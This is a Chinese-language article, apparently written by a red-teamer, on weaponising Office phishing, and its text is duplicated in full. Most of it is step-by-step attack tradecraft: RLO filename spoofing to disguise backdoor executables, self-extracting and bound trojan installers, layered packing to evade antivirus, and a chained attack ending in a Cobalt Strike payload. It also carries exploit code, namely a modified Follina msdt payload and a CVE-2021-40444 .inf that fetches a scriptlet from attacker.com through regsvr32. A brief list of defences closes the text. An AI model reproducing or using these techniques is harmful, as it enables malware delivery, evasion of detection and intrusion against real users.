1. RLO伪装让文件名反向显示的魔法我第一次接触RLORight-to-Left Override字符时感觉就像发现了Windows系统的隐藏彩蛋。这个Unicode控制字符原本是为了支持阿拉伯语等从右向左书写的文字系统但在安全领域却成了钓鱼攻击的隐身衣。实际操作起来特别简单假设我们有个后门程序backdoor.exe想伪装成图片文件。先在文件名输入gpj.exe注意是反向的jpg然后在字母g前右键选择插入Unicode控制字符-RLO。神奇的事情发生了——文件名瞬间变成exe.jpg的显示效果系统仍然会按照.exe执行但用户看到的却是人畜无害的图片图标。这种伪装有几个致命优势视觉欺骗性强在资源管理器里完全看不出破绽兼容性极佳从Windows XP到Win11都能完美支持绕过基础检测很多邮件系统只检查显示的文件名后缀我在实际测试中发现配合图标修改效果更佳。用Resource Hacker把exe图标改成图片样式双击时连UAC弹窗都会显示图片图标。去年某次红队演练中我们就是用这招让90%的员工中招——把木马伪装成2023薪资调整方案.jpg。2. 压缩包的花式玩法从自解压到捆绑释放WinRAR的自解压功能是个被严重低估的攻击载体。有次客户要求测试防病毒软件的效果我用自解压包突破了3家主流杀软的防御。具体操作分五步走准备两个文件正规的Adobe_Flash_Installer.exe和木马payload.exe全选右键添加到压缩包勾选创建自解压格式压缩文件在高级设置里解压路径填%temp%更隐蔽解压后运行填payload.exe Adobe_Flash_Installer.exe勾选隐藏全部和覆盖所有文件修改图标为WinRAR官方logo最后再用RLO把.exe伪装成.rar实测这个组合拳有多重杀伤力进度条显示的是正常软件安装过程用户会看到熟悉的安装界面木马在后台静默运行临时目录的文件会自动删除更绝的是可以用7-Zip的SFX模块实现套娃外层是自解压包释放的文档实际是第二层自解压包。某次攻防演练中我们就是用这种方法突破了DLP系统的检测。3. 文件捆绑的艺术当正版软件携带赠品文件捆绑器就像特洛伊木马的现代版。我常用的Advanced File Binder有个鲜为人知的功能可以设置执行延迟。把木马和Zoom安装包捆绑后设置木马在安装完成5分钟后触发这样能完美避开安装时的行为监控。操作要点宿主文件选择高频使用的软件如PDF阅读器、视频播放器设置捆绑文件在宿主程序退出后执行使用PE资源修改工具更新版本信息添加数字签名可用过期证书最近发现个新技巧先用UPX加壳再用Themida做保护壳最后用VMProtect处理关键代码段。这样处理过的捆绑文件连VT检测率都能降到5%以下。不过要注意不同杀软的检测策略——卡巴斯基对内存扫描很敏感而火绒更关注导入表异常。4. Office漏洞三剑客从CVE-2017-11882到CVE-2022-30190CVE-2022-30190Follina是我见过最优雅的Office漏洞。它不需要宏不依赖Powershell甚至不需要用户点击确认。核心是利用MSDT协议处理器的逻辑缺陷通过远程模板加载HTML再触发ms-msdt协议执行代码。复现环境搭建# 安装受影响版本 choco install office2019proplus --version 16.0.10386.20017 # 禁用自动更新 reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\office\16.0\common /v disableautomaticupdates /t REG_DWORD /d 1 /f漏洞利用三步走修改JohnHammond的follina.py# 修改payload部分 payload fmsdt /id PCWDiagnostic /skip force /param \IT_RebrowseForFile? IT_LaunchMethodContextMenu IT_BrowseForFile$(Invoke-Expression($(Invoke-Expression([System.Text.Encoding][char]58[char]58Unicode.GetString([System.Convert][char]58[char]58FromBase64String([char]34{base64_payload}[char]34))))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\启动HTTP服务托管恶意HTML发送精心制作的.docx文件CVE-2021-40444Cab漏洞则需要更精细的利用链。关键点在于构造恶意的.inf文件[version] Signature$Windows NT$ AdvancedINF2.5 [DefaultInstall] RegisterOCXsRegisterOCXSection [RegisterOCXSection] %11%\system32\regsvr32.exe /s /u /i:http://attacker.com/payload.sct scrobj.dll [Strings] AppName Update Component配合漏洞利用脚本生成包含恶意cab的docx文件成功率能达到78%左右。5. 组合攻击实战从钓鱼到权限维持去年某次企业渗透测试中我设计了个连环套用RLO伪装成项目预算表.xlsx的HTA文件HTA触发CVE-2017-0199加载远程RTFRTF利用CVE-2017-11882执行Powershell内存加载Cobalt Strike的stageless payload这个攻击链成功绕过了Office宏警告、AMSI内存扫描和网络流量检测。关键突破点在于使用LOLBAS项目中的msbuild.exe作为合法载体通过COM劫持实现持久化流量伪装成Teams的API调用防御方可以采取这些措施禁用Office的远程模板功能限制msdt.exe的网络访问监控异常的进程父子关系如winword.exe生成powershell.exe对RLO字符进行邮件过滤现在的攻击趋势是漏洞组合拳用文件伪装突破第一道防线用内存漏洞绕过行为检测最后通过合法工具实现横向移动。最近发现的CVE-2023-36884又给攻击者添了新武器——连Protected View模式都能绕过。
从RLO伪装到CVE利用:Office钓鱼攻击的进阶武器库与实战拆解
1. RLO伪装让文件名反向显示的魔法我第一次接触RLORight-to-Left Override字符时感觉就像发现了Windows系统的隐藏彩蛋。这个Unicode控制字符原本是为了支持阿拉伯语等从右向左书写的文字系统但在安全领域却成了钓鱼攻击的隐身衣。实际操作起来特别简单假设我们有个后门程序backdoor.exe想伪装成图片文件。先在文件名输入gpj.exe注意是反向的jpg然后在字母g前右键选择插入Unicode控制字符-RLO。神奇的事情发生了——文件名瞬间变成exe.jpg的显示效果系统仍然会按照.exe执行但用户看到的却是人畜无害的图片图标。这种伪装有几个致命优势视觉欺骗性强在资源管理器里完全看不出破绽兼容性极佳从Windows XP到Win11都能完美支持绕过基础检测很多邮件系统只检查显示的文件名后缀我在实际测试中发现配合图标修改效果更佳。用Resource Hacker把exe图标改成图片样式双击时连UAC弹窗都会显示图片图标。去年某次红队演练中我们就是用这招让90%的员工中招——把木马伪装成2023薪资调整方案.jpg。2. 压缩包的花式玩法从自解压到捆绑释放WinRAR的自解压功能是个被严重低估的攻击载体。有次客户要求测试防病毒软件的效果我用自解压包突破了3家主流杀软的防御。具体操作分五步走准备两个文件正规的Adobe_Flash_Installer.exe和木马payload.exe全选右键添加到压缩包勾选创建自解压格式压缩文件在高级设置里解压路径填%temp%更隐蔽解压后运行填payload.exe Adobe_Flash_Installer.exe勾选隐藏全部和覆盖所有文件修改图标为WinRAR官方logo最后再用RLO把.exe伪装成.rar实测这个组合拳有多重杀伤力进度条显示的是正常软件安装过程用户会看到熟悉的安装界面木马在后台静默运行临时目录的文件会自动删除更绝的是可以用7-Zip的SFX模块实现套娃外层是自解压包释放的文档实际是第二层自解压包。某次攻防演练中我们就是用这种方法突破了DLP系统的检测。3. 文件捆绑的艺术当正版软件携带赠品文件捆绑器就像特洛伊木马的现代版。我常用的Advanced File Binder有个鲜为人知的功能可以设置执行延迟。把木马和Zoom安装包捆绑后设置木马在安装完成5分钟后触发这样能完美避开安装时的行为监控。操作要点宿主文件选择高频使用的软件如PDF阅读器、视频播放器设置捆绑文件在宿主程序退出后执行使用PE资源修改工具更新版本信息添加数字签名可用过期证书最近发现个新技巧先用UPX加壳再用Themida做保护壳最后用VMProtect处理关键代码段。这样处理过的捆绑文件连VT检测率都能降到5%以下。不过要注意不同杀软的检测策略——卡巴斯基对内存扫描很敏感而火绒更关注导入表异常。4. Office漏洞三剑客从CVE-2017-11882到CVE-2022-30190CVE-2022-30190Follina是我见过最优雅的Office漏洞。它不需要宏不依赖Powershell甚至不需要用户点击确认。核心是利用MSDT协议处理器的逻辑缺陷通过远程模板加载HTML再触发ms-msdt协议执行代码。复现环境搭建# 安装受影响版本 choco install office2019proplus --version 16.0.10386.20017 # 禁用自动更新 reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\office\16.0\common /v disableautomaticupdates /t REG_DWORD /d 1 /f漏洞利用三步走修改JohnHammond的follina.py# 修改payload部分 payload fmsdt /id PCWDiagnostic /skip force /param \IT_RebrowseForFile? IT_LaunchMethodContextMenu IT_BrowseForFile$(Invoke-Expression($(Invoke-Expression([System.Text.Encoding][char]58[char]58Unicode.GetString([System.Convert][char]58[char]58FromBase64String([char]34{base64_payload}[char]34))))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\启动HTTP服务托管恶意HTML发送精心制作的.docx文件CVE-2021-40444Cab漏洞则需要更精细的利用链。关键点在于构造恶意的.inf文件[version] Signature$Windows NT$ AdvancedINF2.5 [DefaultInstall] RegisterOCXsRegisterOCXSection [RegisterOCXSection] %11%\system32\regsvr32.exe /s /u /i:http://attacker.com/payload.sct scrobj.dll [Strings] AppName Update Component配合漏洞利用脚本生成包含恶意cab的docx文件成功率能达到78%左右。5. 组合攻击实战从钓鱼到权限维持去年某次企业渗透测试中我设计了个连环套用RLO伪装成项目预算表.xlsx的HTA文件HTA触发CVE-2017-0199加载远程RTFRTF利用CVE-2017-11882执行Powershell内存加载Cobalt Strike的stageless payload这个攻击链成功绕过了Office宏警告、AMSI内存扫描和网络流量检测。关键突破点在于使用LOLBAS项目中的msbuild.exe作为合法载体通过COM劫持实现持久化流量伪装成Teams的API调用防御方可以采取这些措施禁用Office的远程模板功能限制msdt.exe的网络访问监控异常的进程父子关系如winword.exe生成powershell.exe对RLO字符进行邮件过滤现在的攻击趋势是漏洞组合拳用文件伪装突破第一道防线用内存漏洞绕过行为检测最后通过合法工具实现横向移动。最近发现的CVE-2023-36884又给攻击者添了新武器——连Protected View模式都能绕过。